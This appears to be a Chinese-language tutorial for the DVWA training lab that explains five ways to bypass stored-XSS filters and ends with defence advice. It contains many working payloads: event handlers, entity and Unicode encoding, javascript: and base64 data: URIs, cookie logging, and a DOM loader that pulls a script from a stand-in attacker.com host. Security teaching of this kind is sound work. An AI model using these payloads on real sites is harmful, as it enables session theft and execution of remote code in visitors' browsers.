DVWA存储型XSS绕过实战:5种技巧剖析与防护原理

📅 2026/7/29 20:27:31
DVWA存储型XSS绕过实战:5种技巧剖析与防护原理
1. 项目概述为什么DVWA的Stored XSS值得深挖如果你玩过Web安全DVWADamn Vulnerable Web Application这个靶场肯定不陌生。它就像是一个“漏洞游乐场”把各种常见的Web漏洞比如SQL注入、文件上传、XSS跨站脚本攻击都集成在一个环境里让我们可以合法地、安全地进行实战演练。今天我们不聊别的就聚焦在它的“存储型XSSStored XSS”这一关。存储型XSS也叫持久型XSS是XSS攻击里危害最大的一种。它和反射型XSS最大的区别在于攻击者提交的恶意脚本会被永久保存在服务器的数据库或文件里。之后任何访问到该恶意内容的用户其浏览器都会自动执行这段脚本。想象一下你在一个论坛的留言板里植入了一段偷Cookie的代码那么之后所有浏览这条留言的用户他们的登录凭证都可能悄无声息地发送到你的服务器上。DVWA的存储型XSS关卡就是模拟了这样一个有基础防护但存在缺陷的留言板场景。这个关卡的有趣之处在于它并非完全不设防。开发者意识到XSS的危险所以加入了一些基础的过滤和防护机制。比如它会尝试过滤掉像script这样的危险标签或者对某些特殊字符进行编码。但这恰恰是我们学习的绝佳机会——在真实世界里很少有网站会完全不做任何防护。安全攻防的本质就是围绕“过滤”与“绕过”展开的猫鼠游戏。直接攻击一个毫无防护的目标学不到真正的技巧而能成功绕过那些看似有效的防护措施才是体现一个安全研究员功力的地方。因此这篇内容的目标非常明确我们不满足于在DVWA的“Low”安全级别下随便弹个窗。我们要挑战的是在更高级别的安全设置下模拟了更严格的过滤深入剖析其防护逻辑的薄弱点并系统地总结出5种实战中非常有效的绕过技巧。每一种技巧我都会配上可直接复现的Payload攻击载荷并解释其背后的原理。无论你是刚入门的安全爱好者还是想巩固Web安全知识体系的从业者这些从实战中提炼出来的“骚操作”都能让你对XSS的理解更深一层。2. 环境准备与DVWA靶场设置工欲善其事必先利其器。在开始我们的绕过之旅前确保你的实验环境是正确且可控的。这里我强烈建议在虚拟机如VMware或VirtualBox中搭建环境与主机隔离避免不必要的风险。2.1 靶场搭建与安全级别调整DVWA的安装过程网上教程很多核心是需要一个PHP环境如XAMPP、PHPStudy和MySQL数据库。安装成功后默认的登录凭证是admin/password。进入后第一件事是点击左侧的DVWA Security选项。这里你会看到一个Security Level的选项它直接决定了整个靶场所有漏洞模块的防护强度Low 几乎没有防护主要用于理解漏洞原理。Medium 引入了基础的防护措施但存在明显缺陷是我们本次实战的主要战场。High 防护措施更强绕过难度显著增加适合高阶挑战。Impossible 通常采用了业界公认的最佳实践如严格的输出编码、内容安全策略CSP几乎无法绕过用于学习防御方案。为了演示绕过技巧请将安全级别设置为Medium。这个级别下的过滤逻辑具有代表性很多思路在分析真实世界的WAFWeb应用防火墙规则时也适用。2.2 核心工具浏览器与代理抓包工具你只需要两样工具现代浏览器Chrome或Firefox。它们的开发者工具F12是我们分析页面、调试Payload的利器。Burp Suite Community版这是Web安全测试的“瑞士军刀”。我们主要用到它的代理Proxy和重放Repeater功能。它的作用就像一个中间人拦截我们浏览器发送给DVWA的请求并允许我们随意修改请求中的数据比如我们提交的XSS Payload然后再转发出去。这对于精细地测试过滤规则、观察服务器响应至关重要。配置Burp Suite拦截请求启动Burp在Proxy-Options中确保代理监听如127.0.0.1:8080是开启的。在浏览器中配置代理指向Burp127.0.0.1:8080。访问DVWA前在Burp的Proxy-Intercept标签页点击Intercept is on这样就能截获请求。一个关键的准备工作在开始测试存储型XSS前先用一个简单的Payload探探路。在DVWA的存储型XSS页面尝试提交scriptalert(1)/script。在Medium级别下你会发现这个经典的弹窗代码失效了。服务器返回的页面中你的输入可能变成了scriptalert(1)/script或者直接被吃掉了。这就证实了过滤机制的存在我们的游戏正式开始。注意所有测试请在本地或授权环境进行。未经授权对他人的系统进行测试是非法行为。3. 技巧一利用HTML事件处理器绕过标签过滤这是最经典、也最有效的绕过思路之一。防护逻辑常常聚焦于过滤或禁用特定的HTML标签尤其是script。但它们可能忽略了JavaScript代码可以通过HTML元素的“事件”属性来触发。3.1 原理剖析事件驱动执行HTML元素有很多内置的事件比如onload页面加载、onerror加载错误、onclick点击、onmouseover鼠标悬停等。当这些事件被触发时可以执行一段JavaScript代码。例如img srcx onerroralert(1)。这段代码尝试加载一个不存在的图片x必然会失败触发onerror事件从而执行alert(1)。关键在于像img、div、body、svg等标签本身通常不在严格的黑名单里因为它们有合法的用途。过滤系统可能只盯着script却放行了这些携带事件处理器的“特洛伊木马”。3.2 实战Payload构造与测试在DVWA Medium级别下我们尝试提交以下Payloadimg src1 onerroralert(XSS via onerror)提交后查看页面源码。你会发现img标签被完整地保留了下来。当浏览器渲染这条留言时它会尝试加载src“1”这个资源。显然这不是一个有效的图片URL加载失败随即触发onerror事件我们的弹窗就成功了。为什么能绕过因为Medium级别的过滤代码通常是一个叫htmlspecialchars的PHP函数但只对部分上下文使用或者一个简单的str_replace黑名单可能只是简单地查找并移除script字符串或者将其转义。它没有对标签内的属性值进行更深层次的解析和消毒也没有建立一个全面的“危险事件”黑名单。更多事件Payload变种利用用户交互a href# onclickalert(1)Click Me/a。这需要用户点击才会触发。利用自动触发事件body onloadalert(1)或svg onloadalert(1)。onload在元素加载完成后自动执行无需用户交互。组合事件增加可靠性img srcx onerroralert(1) onloadalert(2)。无论图片加载成功触发onload还是失败触发onerror都会执行弹窗。实操心得在测试时不要只满足于弹窗。用Burp Suite拦截请求将Payload修改为onerrorconsole.log(document.cookie)然后观察浏览器控制台。如果能输出当前用户的Cookie那就证明你可以窃取会话了这才是XSS真正的危害所在。DVWA的Cookie是HttpOnly的所以可能读不到但这个测试方法在真实场景中至关重要。4. 技巧二编码与混淆以对抗关键词过滤当过滤系统变得更加智能开始拦截onerror、alert这类明显的关键词时我们就需要给Payload“化化妆”进行编码或混淆让它在到达浏览器前看起来人畜无害但浏览器却能正确识别并执行。4.1 常见编码方式HTML实体与JS编码HTML实体编码将特殊字符转换成xxx;的形式。例如变成lt;变成gt;。如果过滤系统在输出时没有正确解码这些字符会被当作文本显示。但关键在于浏览器在解析HTML标签和属性时会自动进行HTML解码。Payload示例img srcx onerror#97;#108;#101;#114;#116;#40;#49;#41;原理#97;#108;#101;#114;#116;#40;#49;#41;是alert(1)的十进制HTML实体编码。当浏览器解析到onerror属性时它会自动将这些实体解码回原始字符然后将其作为JavaScript代码执行。JavaScript Unicode转义在JavaScript字符串中可以使用\uXXXX的形式表示Unicode字符。Payload示例img srcx onerroreval(\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029)原理\u0061\u006c...同样是alert(1)的Unicode转义形式。eval()函数会执行传入的字符串代码。这里我们先传递一个编码后的字符串给eval由eval来执行解码后的命令。这能绕过对“alert”这个字面量的简单字符串匹配。4.2 高级混淆拆分、拼接与隐藏更高级的过滤可能会检测编码模式。此时我们可以采用“拆分再组合”的策略。字符串拼接img srcx onerror‘ale’’rt(1)’或者利用数组的join方法img srcx onerror[‘a‘‘l’‘e’‘r’‘t’‘(’‘1’‘)’].join(‘’)这能将关键词拆散绕过简单的正则表达式匹配。利用JavaScript全局对象window[‘alert’]等价于alert。img srcx onerrorwindow[‘al’’ert’](1)这种动态属性访问的方式使得最终执行的函数名在运行时才被确定静态分析很难发现。在DVWA中的测试 在Burp Repeater中尝试提交编码后的Payload。你需要观察服务器的响应是原封不动地返回了编码后的文本还是在输出时被解码/过滤了通过对比页面源码和浏览器实际执行的效果你可以反向推断出服务器端的过滤逻辑是在哪个环节输入处理、存储、输出渲染生效的以及它具体做了哪些操作。这是绕过过程中非常关键的信息收集步骤。注意事项编码和混淆是一把双刃剑。过于复杂的混淆可能会改变Payload的语义导致其无法执行或者被更高级的语义分析引擎检测到。通常先从简单的HTML实体编码开始尝试因为它最符合浏览器的原生行为成功率也相对较高。5. 技巧三探索非常规标签与SVG向量图形当常见的HTML标签和事件属性被加入黑名单后我们需要拓宽武器库寻找那些功能强大但可能被管理员忽略的“小众”标签。5.1svg标签的强大潜力svg标签用于定义矢量图形它本身是一个完整的XML文档可以内嵌在HTML中。SVG元素同样支持事件处理器而且其语法灵活有时能绕过针对普通HTML的过滤规则。基础Payloadsvg onloadalert(1)svg的onload事件和body的类似在SVG文档加载完成后触发。高级利用SVG允许内嵌script标签svgscriptalert(1)/script/svg有些过滤系统可能只检查顶层的script标签而忽略了嵌套在svg内部的。此外SVG中的script标签内容有时可以包含CDATA段这可能是一种绕过内容过滤的方法。5.2details标签的ontoggle事件这是一个HTML5标签用于创建可折叠的详情部件。它有一个ontoggle事件在用户打开或关闭详情时触发。这个标签和事件非常冷门出现在黑名单中的概率极低。details open ontogglealert(1)open属性使得详情框初始为打开状态页面加载时就会触发一次ontoggle事件实现自动执行。5.3iframe与embed标签这些用于嵌入资源的标签其src属性可以执行JavaScript伪协议。iframe srcjavascript:alert(1)javascript:伪协议告诉浏览器执行后面的代码。不过现代浏览器对在iframe的src中使用javascript:协议限制越来越严格但在某些上下文或旧式应用中可能仍有效。测试策略 在DVWA中系统地测试这些非常规标签。使用Burp Suite的Intruder功能加载一个包含几十个不同标签和事件组合的字典进行模糊测试Fuzzing是快速发现未被过滤入口的有效方法。你可能会发现过滤规则只覆盖了OWASP Top 10中常见的几个标签而对更广泛的HTML5标签库缺乏防护。实操心得不要只记忆Payload要理解其本质。这些绕过之所以有效是因为防护逻辑的“攻击面”定义不完整。防御方认为“只有script和onerror是危险的”而攻击方则去寻找“所有能执行代码的HTML/XML特性”。这种思维差距就是安全漏洞的来源。在代码审计时用这种“攻击面扩展”的思维去审视每一个用户输入点往往能有意外发现。6. 技巧四滥用协议与伪协议执行脚本除了在HTML标签属性里写JS代码浏览器还支持一些特殊的“协议”可以直接触发脚本执行。这类绕过方式直击浏览器解析逻辑的核心。6.1javascript:伪协议这是最广为人知的伪协议。它不仅可以用于iframe的src还可以用于几乎所有可设置URL的属性比如a标签的href或者form的action。Payload示例a hrefjavascript:alert(1)Click Here/a用户点击这个链接时浏览器会执行javascript:后面的代码。为了增加隐蔽性攻击者可能会将其与技巧一结合img srcjavascript:alert(1)虽然img的src本应是图片地址但浏览器在遇到javascript:协议时会尝试执行它。不过现代浏览器为了安全已经严格限制了在img.src等属性中使用javascript:协议。6.2data:协议data:协议允许在URL中直接嵌入数据。我们可以用它来构造一个包含HTML和JavaScript的完整文档然后通过iframe或object来加载。一个强大的Payloadiframe srcdata:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg/iframe这里PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg是scriptalert(1)/script的Base64编码。data:text/html;base64,告诉浏览器这是一个HTML文档内容是指定的Base64字符串。浏览器解码后就会执行其中的脚本。为什么难以防御高度混淆对于过滤系统来说这只是一长串无意义的Base64字符很难通过关键词匹配来识别威胁。自包含它不需要引用外部脚本所有恶意代码都内嵌在URL中避开了对外部域名的检测。灵活性data:协议可以封装HTML、JavaScript、SVG等多种格式攻击向量多样。6.3 在DVWA中的实战应用与限制在DVWA Medium级别下直接提交a hrefjavascript:alert(1)可能会被过滤掉javascript:这个协议字符串。但是尝试对其进行编码a href#106;#97;#118;#97;#115;#99;#114;#105;#112;#116;#58;#97;#108;#101;#114;#116;#40;#49;#41;Link/a或者使用大小写混合、插入空字符java script:注意中间是Tab等变形来试探过滤规则。对于data:协议由于其形式固定可能会被直接拦截。可以尝试不指定MIME类型或者使用不同的编码方式object datadata:text/html;charsetutf-8,scriptalert(1)/script/object注意事项data:协议和javascript:协议在现代Web安全实践中已被严格限制。CSP内容安全策略可以轻松地禁止它们。因此这些技巧在未部署CSP或配置不当的旧网站上更可能生效。测试时通过浏览器控制台查看CSP报错信息是判断网站是否部署了该策略的快速方法。7. 技巧五结合DOM操作与异步加载绕过动态过滤有些前端的防护措施是在页面加载后通过JavaScript动态扫描DOM树移除或消毒可疑的脚本。这种客户端过滤看似及时但存在一个根本性的时间差漏洞在过滤代码执行之前恶意代码可能已经有一小段执行窗口。或者我们可以利用DOM API来“创造”新的脚本节点绕过基于静态源码的检测。7.1 利用时间差在净化前执行假设页面加载后有一个安全脚本会遍历所有script标签并将其移除。我们可以尝试让我们的脚本在这个清理脚本之前执行。scriptalert(Bypass by speed);/script这听起来很原始但取决于清理脚本的部署位置在head还是body末尾以及是否使用defer或async属性脚本的执行顺序会有差异。一种更可靠的方法是使用document.write在页面解析的瞬间写入脚本img srcx onerror“document.write(‘scriptalert(1)/script’)”document.write会在当前文档流的位置直接写入内容。如果执行得足够早它写入的script标签可能在清理脚本生效前就被浏览器解析并执行了。7.2 动态创建脚本节点这是更高级的技巧。我们可以注入一段代码这段代码本身不包含危险的script标签或alert()调用但它会使用DOM API在内存中创建一个新的脚本元素并添加到页面中。svg onload“var sdocument.createElement(‘script’);s.src‘//attacker.com/x.js’;document.body.appendChild(s);”这个Payload做了以下几件事利用svg的onload事件触发避开了对script的过滤。使用document.createElement创建一个新的script元素。这个创建过程是纯JS操作不会在初始的HTML源码中留下痕迹。设置其src属性指向一个外部恶意JS文件//attacker.com/x.js。这个文件里可以包含复杂的攻击逻辑如窃取Cookie、发起钓鱼等。通过appendChild将其加入到body中浏览器会立即加载并执行这个外部脚本。优势高度隐蔽初始提交的Payload里没有明显的恶意函数或完整脚本可能绕过基于模式匹配的WAF。载荷分离恶意核心代码在外部服务器方便随时更新攻击载荷且不易被静态分析发现。利用信任如果网站本身加载了来自其他域的合法脚本如jQuery CDN那么同域下动态创建脚本加载外部资源的行为可能不会触发严格的CSP违规。7.3 在DVWA中的模拟与思考在DVWA中我们可以模拟这种场景。虽然DVWA本身可能没有这么复杂的客户端过滤但我们可以通过这个练习来理解原理。首先在本地搭建一个简单的HTTP服务器可以用Python的http.server模块并创建一个x.js文件内容为alert(Dynamically loaded!)。在DVWA中提交上述svg的Payload注意将attacker.com替换为你本地服务器的IP和端口如http://192.168.1.100:8000/x.js。提交后查看浏览器网络请求你应该能看到一个向你的本地服务器发起的、对x.js的请求随后弹窗出现。这个技巧的关键在于它挑战了“输入即代码”的传统检测模型。它提交的是一段“代码生成器”而非最终的攻击代码本身。防御方需要能够进行动态的、语义级别的代码流分析才能识别这种威胁其难度远高于静态字符串匹配。终极心得存储型XSS的防御绝不能只依赖一层过滤。一个健壮的防御体系应该包括输入验证与规范化在输入端对数据类型、长度、格式进行严格限制。输出编码这是最重要的环节根据输出点的上下文HTML正文、HTML属性、JavaScript、CSS、URL使用对应的编码函数如htmlspecialchars,urlencode,JavaScript String escape。永远不要信任从数据库取出的数据在输出到页面时一定要编码。内容安全策略CSP通过HTTP头告诉浏览器只允许加载和执行来自哪些源的脚本、样式等。这是防止XSS的终极利器可以大幅削减甚至完全阻断上述所有绕过技巧。使用安全的框架和库现代前端框架如React, Vue, Angular默认提供了良好的XSS防护机制。通过这5种技巧的实战我们不仅学会了如何攻击更重要的是理解了防御为何失败。这种攻防对抗的思维才是安全研究和学习的核心价值。下次当你审查代码或设计功能时不妨从攻击者的角度想想“如果这里是我的输入我能玩出什么花样” 这或许就是最好的安全培训。